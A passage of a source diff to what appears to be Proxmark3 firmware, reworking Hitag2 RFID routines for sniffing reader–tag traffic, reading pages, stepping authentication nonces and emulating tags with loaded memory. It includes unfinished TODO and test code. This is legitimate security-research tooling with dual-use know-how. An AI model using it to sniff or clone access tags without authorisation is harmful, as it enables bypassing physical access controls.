HITAG_T_WAIT_2_MIN 90 /* T_wait2 should be at least 90 */ #define HITAG_T_WAIT_MAX 300 /* bit more than HITAG_T_WAIT_1 + HITAG_T_WAIT_2 */ #define HITAG_T_PROG 614 @@ -119,28 +142,33 @@ static int hitag2_init(void) { #define HITAG_T_TAG_CAPTURE_THREE_HALF 41 #define HITAG_T_TAG_CAPTURE_FOUR_HALF 57 +/* +// sim static void hitag_send_bit(int bit) { LED_A_ON(); + // Reset clock for the next bit AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; // Fixed modulation, earlier proxmark version used inverted signal + // check datasheet if reader uses BiPhase? if (bit == 0) { // Manchester: Unloaded, then loaded |__--| LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_HALF_PERIOD); + while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * HITAG_T_TAG_HALF_PERIOD); HIGH(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_FULL_PERIOD); + while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * HITAG_T_TAG_FULL_PERIOD); } else { // Manchester: Loaded, then unloaded |--__| HIGH(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_HALF_PERIOD); + while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * HITAG_T_TAG_HALF_PERIOD); LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_FULL_PERIOD); + while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * HITAG_T_TAG_FULL_PERIOD); } LED_A_OFF(); } +// sim static void hitag_send_frame(const uint8_t *frame, size_t frame_len) { // SOF - send start of frame hitag_send_bit(1); @@ -157,6 +185,7 @@ static void hitag_send_frame(const uint8_t *frame, size_t frame_len) { // Drop the modulation LOW(GPIO_SSC_DOUT); } +*/ // sim static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen) { @@ -189,42 +218,43 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_ // Read/Write command: ..xx x..y yy with yyy == ~xxx, xxx is sector number case 10: { - unsigned int sector = (~(((rx[0] << 2) & 0x04) | ((rx[1] >> 6) & 0x03)) & 0x07); + uint16_t sector = (~(((rx[0] << 2) & 0x04) | ((rx[1] >> 6) & 0x03)) & 0x07); + // Verify complement of sector index if (sector != ((rx[0] >> 3) & 0x07)) { - //DbpString("Transmission error (read/write)"); + DbpString("Transmission error (read/write)"); return; } switch (rx[0] & 0xC6) { // Read command: 11xx x00y - case 0xC0: + case 0xC0: { memcpy(tx, tag.sectors[sector], 4); *txlen = 32; break; - + } // Inverted Read command: 01xx x10y - case 0x44: + case 0x44: { for (size_t i = 0; i < 4; i++) { tx[i] = tag.sectors[sector][i] ^ 0xff; } *txlen = 32; break; - + } // Write command: 10xx x01y - case 0x82: + case 0x82: { // Prepare write, acknowledge by repeating command memcpy(tx, rx, nbytes(rxlen)); *txlen = rxlen; tag.active_sector = sector; tag.state = TAG_STATE_WRITING; break; - + } // Unknown command - default: + default: { Dbprintf("Unknown command: %02x %02x", rx[0], rx[1]); return; - break; + } } } break; @@ -258,15 +288,13 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_ // Reset the cipher state hitag2_cipher_reset(&tag, rx); + // Check if the authentication was correct if (!hitag2_cipher_authenticate(&(tag.cs), rx + 4)) { // The reader failed to authenticate, do nothing Dbprintf("auth: %02x%02x%02x%02x%02x%02x%02x%02x Failed!", rx[0], rx[1], rx[2], rx[3], rx[4], rx[5], rx[6], rx[7]); return; } - // Succesful, but commented out reporting back to the Host, this may delay to much. - // Dbprintf("auth: %02x%02x%02x%02x%02x%02x%02x%02x OK!",rx[0],rx[1],rx[2],rx[3],rx[4],rx[5],rx[6],rx[7]); - // Activate encryption algorithm for all further communication tag.crypto_active = 1; @@ -277,60 +305,298 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_ break; } - // LogTrace(rx, nbytes(rxlen), 0, 0, NULL, false); - // LogTrace(tx, nbytes(txlen), 0, 0, NULL, true); - if (tag.crypto_active) { hitag2_cipher_transcrypt(&(tag.cs), tx, *txlen / 8, *txlen % 8); } } -// sim -static void hitag_reader_send_bit(int bit) { +// reader/writer +// returns how long it took +static uint32_t hitag_reader_send_bit(int bit) { + uint32_t wait = 0; LED_A_ON(); - // Reset clock for the next bit - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - - // Binary puls length modulation (BPLM) is used to encode the data stream + // Binary pulse length modulation (BPLM) is used to encode the data stream // This means that a transmission of a one takes longer than that of a zero // Enable modulation, which means, drop the field - HIGH(GPIO_SSC_DOUT); + lf_modulation(true); // Wait for 4-10 times the carrier period - while (AT91C_BASE_TC0->TC_CV < T0 * 6) {}; + lf_wait_periods(8); // wait for 4-10 times the carrier period + wait += 8; // Disable modulation, just activates the field again - LOW(GPIO_SSC_DOUT); + lf_modulation(false); if (bit == 0) { // Zero bit: |_-| - while (AT91C_BASE_TC0->TC_CV < T0 * 22) {}; - + lf_wait_periods(HITAG_T_0 - HITAG_T_LOW); // wait for 18-22 times the carrier period + wait += HITAG_T_0 - HITAG_T_LOW; } else { // One bit: |_--| - while (AT91C_BASE_TC0->TC_CV < T0 * 28) {}; + lf_wait_periods(HITAG_T_1 - HITAG_T_LOW); // wait for 26-32 times the carrier period + wait += HITAG_T_1 - HITAG_T_LOW; } + /*lf_wait_periods(10);*/ LED_A_OFF(); + return wait; } -// sim -static void hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) { +// reader/writer +static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) { + + uint32_t wait = 0; // Send the content of the frame for (size_t i = 0; i < frame_len; i++) { - hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); + wait += hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); } - // Send EOF - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + // Enable modulation, which means, drop the field - HIGH(GPIO_SSC_DOUT); + lf_modulation(true); + // Wait for 4-10 times the carrier period - while (AT91C_BASE_TC0->TC_CV < T0 * 6) {}; + lf_wait_periods(HITAG_T_LOW); + wait += HITAG_T_LOW; + // Disable modulation, just activates the field again - LOW(GPIO_SSC_DOUT); + lf_modulation(false); + + // t_stop, high field for stop condition (> 36) + lf_wait_periods(HITAG_T_STOP); + wait += HITAG_T_STOP; + + return wait; } -size_t blocknr; +uint8_t hitag_crc(uint8_t *data, size_t length) { + uint8_t crc = 0xff; + unsigned int byte, bit; + for (byte = 0; byte < ((length + 7) / 8); byte++) { + crc ^= *(data + byte); + bit = length < (8 * (byte + 1)) ? (length % 8) : 8; + while (bit--) { + if (crc & 0x80) { + crc <<= 1; + crc ^= 0x1d; + } else { + crc <<= 1; + } + } + } + return crc; +} + +/* +void fix_ac_decoding(uint8_t *input, size_t len) { + // Reader routine tries to decode AC data after Manchester decoding + // AC has double the bitrate, extract data from bit-pairs + uint8_t temp[len / 16]; + memset(temp, 0, sizeof(temp)); + + for (size_t i = 1; i < len; i += 2) { + if (test_bit(input, i) && test_bit(input, (i + 1))) { + set_bit(temp, (i / 2)); + } + } + memcpy(input, temp, sizeof(temp)); +} +*/ + + +// looks at number of received bits. +// 0 = collision? +// 32 = good response +bool hitag_plain(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen, bool hitag_s) { + uint8_t crc; + *txlen = 0; + switch (rxlen) { + case 0: { + // retry waking up card + /*tx[0] = 0xb0; // Rev 3.0*/ + tx[0] = 0x30; // Rev 2.0 + *txlen = 5; + if (!bCollision) blocknr--; + if (blocknr < 0) { + blocknr = 0; + } + if (!hitag_s) { + if (blocknr > 1 && blocknr < 31) { + blocknr = 31; + } + } + bCollision = true; + return true; + } + case 32: { + if (bCollision) { + // Select card by serial from response + tx[0] = 0x00 | rx[0] >> 5; + tx[1] = rx[0] << 3 | rx[1] >> 5; + tx[2] = rx[1] << 3 | rx[2] >> 5; + tx[3] = rx[2] << 3 | rx[3] >> 5; + tx[4] = rx[3] << 3; + crc = hitag_crc(tx, 37); + tx[4] |= crc >> 5; + tx[5] = crc << 3; + *txlen = 45; + bCollision = false; + } else { + memcpy(tag.sectors[blocknr], rx, 4); + blocknr++; + if (!hitag_s) { + if (blocknr > 1 && blocknr < 31) { + blocknr = 31; + } + } + if (blocknr > 63) { + DbpString("Read succesful!"); + *txlen = 0; + bSuccessful = true; + return false; + } + // read next page of card until done + Dbprintf("Reading page %02u", blocknr); + tx[0] = 0xc0 | blocknr >> 4; // RDPPAGE + tx[1] = blocknr << 4; + crc = hitag_crc(tx, 12); + tx[1] |= crc >> 4; + tx[2] = crc << 4; + *txlen = 20; + } + } + break; + default: { + Dbprintf("Uknown frame length: %d", rxlen); + return false; + } + break; + } + return true; +} + + +bool hitag1_authenticate(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen) { + uint8_t crc; + *txlen = 0; + switch (rxlen) { + case 0: { + // retry waking up card + /*tx[0] = 0xb0; // Rev 3.0*/ + tx[0] = 0x30; // Rev 2.0 + *txlen = 5; + if (bCrypto && byte_value <= 0xff) { + // to retry + bCrypto = false; + } + if (!bCollision) blocknr--; + if (blocknr < 0) { + blocknr = 0; + } + bCollision = true; + // will receive 32-bit UID + } + break; + case 2: { + if (bAuthenticating) { + // received Auth init ACK, send nonce + // TODO Roel, bit-manipulation goes here + /*nonce[0] = 0x2d;*/ + /*nonce[1] = 0x74;*/ + /*nonce[2] = 0x80;*/ + /*nonce[3] = 0xa5;*/ + nonce[0] = byte_value; + byte_value++; + /*set_bit(nonce,flipped_bit);*/ + memcpy(tx, nonce, 4); + *txlen = 32; + // will receive 32 bit encrypted Logdata + } else if (bCrypto) { + // authed, start reading + tx[0] = 0xe0 | blocknr >> 4; // RDCPAGE + tx[1] = blocknr << 4; + crc = hitag_crc(tx, 12); + tx[1] |= crc >> 4; + tx[2] = crc << 4; + *txlen = 20; + // will receive 32-bit encrypted page + } + } + break; + case 32: { + if (bCollision) { + // Select card by serial from response + tx[0] = 0x00 | rx[0] >> 5; + tx[1] = rx[0] << 3 | rx[1] >> 5; + tx[2] = rx[1] << 3 | rx[2] >> 5; + tx[3] = rx[2] << 3 | rx[3] >> 5; + tx[4] = rx[3] << 3; + crc = hitag_crc(tx, 37); + tx[4] |= crc >> 5; + tx[5] = crc << 3; + *txlen = 45; + bCollision = false; + bSelecting = true; + // will receive 32-bit configuration page + } else if (bSelecting) { + // Initiate auth + tx[0] = 0xa0 | key_no >> 4; // WRCPAGE + tx[1] = blocknr << 4; + crc = hitag_crc(tx, 12); + tx[1] |= crc >> 4; + tx[2] = crc << 4; + *txlen = 20; + bSelecting = false; + bAuthenticating = true; + // will receive 2-bit ACK + } else if (bAuthenticating) { + // received 32-bit logdata 0 + // TODO decrypt logdata 0, verify against logdata_0 + memcpy(tag.sectors[0], rx, 4); + memcpy(tag.sectors[1], tx, 4); + Dbprintf("%02x%02x%02x%02x %02x%02x%02x%02x", rx[0], rx[1], rx[2], rx[3], tx[0], tx[1], tx[2], tx[3]); + // TODO replace with secret data stream + // TODO encrypt logdata_1 + memcpy(tx, logdata_1, 4); + *txlen = 32; + bAuthenticating = false; + bCrypto = true; + // will receive 2-bit ACK + } else if (bCrypto) { + // received 32-bit encrypted page + // TODO decrypt rx + memcpy(tag.sectors[blocknr], rx, 4); + blocknr++; + if (blocknr > 63) { + DbpString("Read succesful!"); + bSuccessful = true; + return false; + } + + // TEST + Dbprintf("Succesfully authenticated with logdata:"); + Dbhexdump(4, logdata_1, false); + bSuccessful = true; + return false; + + // read next page of card until done + tx[0] = 0xe0 | blocknr >> 4; // RDCPAGE + tx[1] = blocknr << 4; + crc = hitag_crc(tx, 12); + tx[1] |= crc >> 4; + tx[2] = crc << 4; + *txlen = 20; + } + } + break; + default: { + Dbprintf("Uknown frame length: %d", rxlen); + return false; + } + break; + } + + return true; +} //----------------------------------------------------------------------------- // Hitag2 operations @@ -427,10 +693,10 @@ static bool hitag2_password(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t } if (blocknr > 7) { - DbpString("Read successful!"); bSuccessful = true; return false; } + *txlen = 10; tx[0] = 0xC0 | (blocknr << 3) | ((blocknr ^ 7) >> 2); tx[1] = ((blocknr ^ 7) << 6); @@ -686,9 +952,10 @@ static bool hitag2_read_uid(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t // Store the received block memcpy(tag.sectors[blocknr], rx, 4); blocknr++; + + Dbhexdump(4, rx, false); } if (blocknr > 0) { - // DbpString("Read successful!"); bSuccessful = true; return false; } @@ -705,22 +972,8 @@ static bool hitag2_read_uid(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t } // Hitag2 Sniffing -void SniffHitag(void) { +void SniffHitag2(void) { - StopTicks(); - - // int frame_count; - int response; - int overflow; - bool rising_edge; - bool reader_frame; - int lastbit; - bool bSkip; - int tag_sof; - uint8_t rx[HITAG_FRAME_LEN]; - size_t rxlen = 0; - - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); BigBuf_free(); BigBuf_Clear_ext(false); clear_trace(); @@ -735,228 +988,105 @@ void SniffHitag(void) { DbpString("Starting Hitag2 sniffing"); LED_D_ON(); - // Set up eavesdropping mode, frequency divisor which will drive the FPGA - // and analog mux selection. - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_TOGGLE_MODE); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + lf_init(false, false); - // Configure output pin that is connected to the FPGA (for modulating) - AT91C_BASE_PIOA->PIO_OER |= GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_PER |= GPIO_SSC_DOUT; + logging = false; - // Disable modulation, we are going to eavesdrop, not modulate ;) - LOW(GPIO_SSC_DOUT); + size_t periods = 0; + uint8_t periods_bytes[4]; - // Enable Peripheral Clock for TIMER_CLOCK1, used to capture edges of the reader frames - AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1); - AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; + int16_t checked = 0; - // Disable timer during configuration - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + /*bool waiting_for_first_edge = true;*/ + LED_C_ON(); - // TC1: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, - // external trigger rising edge, load RA on rising edge of TIOA. - AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK | AT91C_TC_ETRGEDG_BOTH | AT91C_TC_ABETRG | AT91C_TC_LDRA_BOTH; + while (!BUTTON_PRESS()) { - // Enable and reset counter - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - // synchronized startup procedure - while (AT91C_BASE_TC1->TC_CV > 0) {}; // wait until TC1 returned to zero - - // Reset the received frame, frame count and timing info - memset(rx, 0x00, sizeof(rx)); - // frame_count = 0; - response = 0; - overflow = 0; - reader_frame = false; - lastbit = 1; - bSkip = true; - tag_sof = 4; - - while (!BUTTON_PRESS() && !data_available()) { - // Watchdog hit WDT_HIT(); + // only every 1000th times, in order to save time when collecting samples. + if (checked == 1000) { + if (data_available()) { + checked = -1; + break; + } else { + checked = 0; + } + } + ++checked; + + // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_EOF) { - // Check if rising edge in modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0); + lf_reset_counter(); - // Find out if we are dealing with a rising or falling edge - rising_edge = (AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME) > 0; + // Wait "infinite" for reader modulation + periods = lf_detect_gap(20000); - // Shorter periods will only happen with reader frames - if (!reader_frame && rising_edge && ra < HITAG_T_TAG_CAPTURE_ONE_HALF) { - // Switch from tag to reader capture - LED_C_OFF(); - reader_frame = true; - memset(rx, 0x00, sizeof(rx)); - rxlen = 0; - } - - // Only handle if reader frame and rising edge, or tag frame and falling edge - if (reader_frame != rising_edge) { - overflow += ra; - continue; - } - - // Add the buffered timing values of earlier captured edges which were skipped - ra += overflow; - overflow = 0; - - if (reader_frame) { - LED_B_ON(); - // Capture reader frame - if (ra >= HITAG_T_STOP) { - if (rxlen != 0) { - //DbpString("wierd0?"); - } - // Capture the T0 periods that have passed since last communication or field drop (reset) - response = (ra - HITAG_T_LOW); - } else if (ra >= HITAG_T_1_MIN) { - // '1' bit - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_0_MIN) { - // '0' bit - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - } else { - // Ignore wierd value, is to small to mean anything - } - } else { - LED_C_ON(); - // Capture tag frame (manchester decoding using only falling edges) - if (ra >= HITAG_T_EOF) { - if (rxlen != 0) { - //DbpString("wierd1?"); - } - // Capture the T0 periods that have passed since last communication or field drop (reset) - // We always recieve a 'one' first, which has the falling edge after a half period |-_| - response = ra - HITAG_T_TAG_HALF_PERIOD; - } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { - // Manchester coding example |-_|_-|-_| (101) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { - // Manchester coding example |_-|...|_-|-_| (0...01) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - // We have to skip this half period at start and add the 'one' the second time - if (!bSkip) { - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } - lastbit = !lastbit; - bSkip = !bSkip; - } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { - // Manchester coding example |_-|_-| (00) or |-_|-_| (11) - if (tag_sof) { - // Ignore bits that are transmitted during SOF - tag_sof--; - } else { - // bit is same as last bit - rx[rxlen / 8] |= lastbit << (7 - (rxlen % 8)); - rxlen++; - } - } else { - // Ignore wierd value, is to small to mean anything - } - } + // Test if we detected the first reader modulation edge + if (periods != 0) { + if (logging == false) { + logging = true; + LED_D_ON(); } } - // Check if frame was captured - if (rxlen > 0) { - // frame_count++; - LogTrace(rx, nbytes(rxlen), response, 0, NULL, reader_frame); - - // Check if we recognize a valid authentication attempt - if (nbytes(rxlen) == 8) { - // Store the authentication attempt - if (auth_table_len < (AUTH_TABLE_LENGTH - 8)) { - memcpy(auth_table + auth_table_len, rx, 8); - auth_table_len += 8; - } - } - - // Reset the received frame and response timing info - memset(rx, 0x00, sizeof(rx)); - response = 0; - reader_frame = false; - lastbit = 1; - bSkip = true; - tag_sof = 4; - overflow = 0; - - LED_B_OFF(); - LED_C_OFF(); - } else { - // Save the timer overflow, will be 0 when frame was received - overflow += (AT91C_BASE_TC1->TC_CV / T0); + /*lf_count_edge_periods(10000);*/ + while ((periods = lf_detect_gap(64)) != 0) { + num_to_bytes(periods, 4, periods_bytes); + LogTrace(periods_bytes, 4, 0, 0, NULL, true); } - // Reset the frame length - rxlen = 0; - // Reset the timer to restart while-loop that receives frames - AT91C_BASE_TC1->TC_CCR = AT91C_TC_SWTRG; + } - LEDsoff(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - set_tracing(false); - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + lf_finalize(); - // release allocated memory from BigBuff. - BigBuf_free(); - StartTicks(); - - DbpString("Hitag2 sniffing end, use `lf hitag list` for annotations"); + DbpString("Hitag2 sniffing finish. Use `lf hitag list` for annotations"); } // Hitag2 simulation -void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data) { +void SimulateHitag2(bool tag_mem_supplied, uint8_t *data) { - StopTicks(); - - // int frame_count = 0; - int response = 0, overflow = 0; - uint8_t rx[HITAG_FRAME_LEN]; - size_t rxlen = 0; - uint8_t tx[HITAG_FRAME_LEN]; - size_t txlen = 0; - - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); BigBuf_free(); BigBuf_Clear_ext(false); clear_trace(); set_tracing(true); + // empties bigbuff etc + lf_init(false, true); + + int response = 0; + uint8_t rx[HITAG_FRAME_LEN]; + size_t rxlen = 0; + uint8_t tx[HITAG_FRAME_LEN]; + size_t txlen = 0; + auth_table_len = 0; auth_table_pos = 0; - auth_table = BigBuf_malloc(AUTH_TABLE_LENGTH); - memset(auth_table, 0x00, AUTH_TABLE_LENGTH); +// auth_table = BigBuf_malloc(AUTH_TABLE_LENGTH); +// memset(auth_table, 0x00, AUTH_TABLE_LENGTH); // Reset the received frame, frame count and timing info - memset(rx, 0x00, sizeof(rx)); +// memset(rx, 0x00, sizeof(rx)); +// memset(tx, 0x00, sizeof(tx)); DbpString("Starting Hitag2 simulation"); LED_D_ON(); + + // hitag2 state machine? hitag2_init(); + // copy user supplied emulation data if (tag_mem_supplied) { DbpString("Loading hitag2 memory..."); memcpy((uint8_t *)tag.sectors, data, 48); } + // printing uint32_t block = 0; for (size_t i = 0; i < 12; i++) { + + // num2bytes? for (size_t j = 0; j < 4; j++) { block <<= 8; block |= tag.sectors[i][j]; @@ -964,89 +1094,137 @@ void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data) { Dbprintf("| %d | %08x |", i, block); } - // Set up simulator mode, frequency divisor which will drive the FPGA - // and analog mux selection. - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + uint8_t tag_modulation; + size_t max_nrzs = 8 * HITAG_FRAME_LEN + 5; + uint8_t nrz_samples[max_nrzs]; + size_t nrzs = 0, periods = 0; - // Configure output pin that is connected to the FPGA (for modulating) - AT91C_BASE_PIOA->PIO_OER |= GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_PER |= GPIO_SSC_DOUT; +// uint32_t command_start = 0, command_duration = 0; - // Disable modulation at default, which means release resistance - LOW(GPIO_SSC_DOUT); + int16_t checked = 0; - // Enable Peripheral Clock for - // TIMER_CLOCK0, used to measure exact timing before answering - // TIMER_CLOCK1, used to capture edges of the tag frames - AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1); + while (!BUTTON_PRESS()) { - AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; - - // Disable timer during configuration - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // TC0: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), no triggers - AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK; - - // TC1: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, - // external trigger rising edge, load RA on rising edge of TIOA. - AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK | AT91C_TC_ETRGEDG_RISING | AT91C_TC_ABETRG | AT91C_TC_LDRA_RISING; - - // Enable and reset counter - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - // synchronized startup procedure - while (AT91C_BASE_TC0->TC_CV > 0) {}; // wait until TC0 returned to zero - - while (!BUTTON_PRESS() && !data_available()) { - // Watchdog hit +loop1: + LED_A_OFF(); WDT_HIT(); - // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_EOF) { - // Check if rising edge in modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0) + overflow; - overflow = 0; + // only every 1000th times, in order to save time when collecting samples. + if (checked == 100) { + if (data_available()) { + checked = -1; + break; + } else { + checked = 0; + } + } + ++checked; - // Reset timer every frame, we have to capture the last edge for timing - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + rxlen = 0; - LED_B_ON(); + // Keep administration of the first edge detection + bool waiting_for_first_edge = true; - // Capture reader frame - if (ra >= HITAG_T_STOP) { - if (rxlen != 0) { - //DbpString("wierd0?"); - } - // Capture the T0 periods that have passed since last communication or field drop (reset) - response = (ra - HITAG_T_LOW); - } else if (ra >= HITAG_T_1_MIN) { - // '1' bit - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_0_MIN) { - // '0' bit - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - } else { - // Ignore wierd value, is to small to mean anything + // Did we detected any modulaiton at all + bool detected_tag_modulation = false; + + // Use the current modulation state as starting point + tag_modulation = lf_get_tag_modulation(); + + // Receive frame, watch for at most max_nrzs periods + // Reset the number of NRZ samples and use edge detection to detect them + nrzs = 0; + while (nrzs < max_nrzs) { + // Get the timing of the next edge in number of wave periods + periods = lf_count_edge_periods(128); + + // Just break out of loop after an initial time-out (tag is probably not available) + // The function lf_count_edge_periods() returns 0 when a time-out occurs + if (periods == 0) { + goto loop1; //break; + } + + LED_A_ON(); + + // Are we dealing with the first incoming edge + if (waiting_for_first_edge) { + + // Register the number of periods that have passed + response = periods; + + // Indicate that we have dealt with the first edge + waiting_for_first_edge = false; + + // The first edge is always a single NRZ bit, force periods on 16 + periods = 16; + + // We have received more than 0 periods, so we have detected a tag response + detected_tag_modulation = true; + } + + // Evaluate the number of periods before the next edge + if (periods > 24 && periods <= 64) { + // Detected two sequential equal bits and a modulation switch + // NRZ modulation: (11 => --|) or (11 __|) + nrz_samples[nrzs++] = tag_modulation; + nrz_samples[nrzs++] = tag_modulation; + // Invert tag modulation state + tag_modulation ^= 1; + } else if (periods > 0 && periods <= 24) { + // Detected one bit and a modulation switch + // NRZ modulation: (1 => -|) or (0 _|) + nrz_samples[nrzs++] = tag_modulation; + tag_modulation ^= 1; + } else { + tag_modulation ^= 1; + // The function lf_count_edge_periods() returns > 64 periods, this is not a valid number periods + Dbprintf("Detected unexpected period count: %d", periods); + break; + } + } + + // If there is no response, just repeat the loop + if (!detected_tag_modulation) continue; + + // Make sure we always have an even number of samples. This fixes the problem + // of ending the manchester decoding with a zero. See the example below where + // the '|' character is end of modulation + // One at the end: ..._-|_____... + // Zero at the end: ...-_|_____... + // The last modulation change of a zero is not detected, but we should take + // the half period in account, otherwise the demodulator will fail. + if ((nrzs % 2) != 0) { + nrz_samples[nrzs++] = tag_modulation; + } + + LED_B_ON(); + + // decode bitstream + manrawdecode((uint8_t *)nrz_samples, &nrzs, true, 0); + + // Verify if the header consists of five consecutive ones + if (nrzs < 5) { + Dbprintf("Detected unexpected number of manchester decoded samples [%d]", nrzs); + continue; + } else { + for (size_t i = 0; i < 5; i++){ + if (nrz_samples[i] != 1) { + Dbprintf("Detected incorrect header, the bit [%d] is zero instead of one", i); } } } + // Pack the response into a byte array + for (size_t i = 5; i < 37; i++){ + uint8_t bit = nrz_samples[i]; + rx[rxlen / 8] |= bit << (7 - (rxlen % 8)); + rxlen++; + } + // Check if frame was captured if (rxlen > 4) { - // frame_count++; - LogTrace(rx, nbytes(rxlen), response, response, NULL, true); - // Disable timer 1 with external trigger to avoid triggers during our own modulation - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + LogTrace(rx, nbytes(rxlen), response, 0, NULL, true); // Process the incoming frame (rx) and prepare the outgoing frame (tx) hitag2_handle_reader_command(rx, rxlen, tx, &txlen); @@ -1056,11 +1234,15 @@ void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data) { // with respect to the falling edge, we need to wait actually (T_Wait1 - T_Low) // periods. The gap time T_Low varies (4..10). All timer values are in // terms of T0 units - while (AT91C_BASE_TC0->TC_CV < T0 * (HITAG_T_WAIT_1 - HITAG_T_LOW)); + lf_wait_periods(200); // Send and store the tag answer (if there is any) if (txlen) { - hitag_send_frame(tx, txlen); + // Transmit the tag frame + //hitag_send_frame(tx, txlen); + lf_manchester_send_bytes(tx, txlen); + + // Store the frame in the trace LogTrace(tx, nbytes(txlen), 0, 0, NULL, false); } @@ -1068,57 +1250,88 @@ void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data) { memset(rx, 0x00, sizeof(rx)); response = 0; - // Enable and reset external trigger in timer for capturing future frames - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; LED_B_OFF(); } - // Reset the frame length - rxlen = 0; - // Save the timer overflow, will be 0 when frame was received - overflow += (AT91C_BASE_TC1->TC_CV / T0); - // Reset the timer to restart while-loop that receives frames - AT91C_BASE_TC1->TC_CCR = AT91C_TC_SWTRG; } - LEDsoff(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - set_tracing(false); - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + lf_finalize(); // release allocated memory from BigBuff. BigBuf_free(); - StartTicks(); + DbpString("Sim stopped"); - DbpString("Sim Stopped"); +// reply_ng(CMD_LF_HITAG_SIMULATE, (checked == -1) ? PM3_EOPABORTED : PM3_SUCCESS, (uint8_t 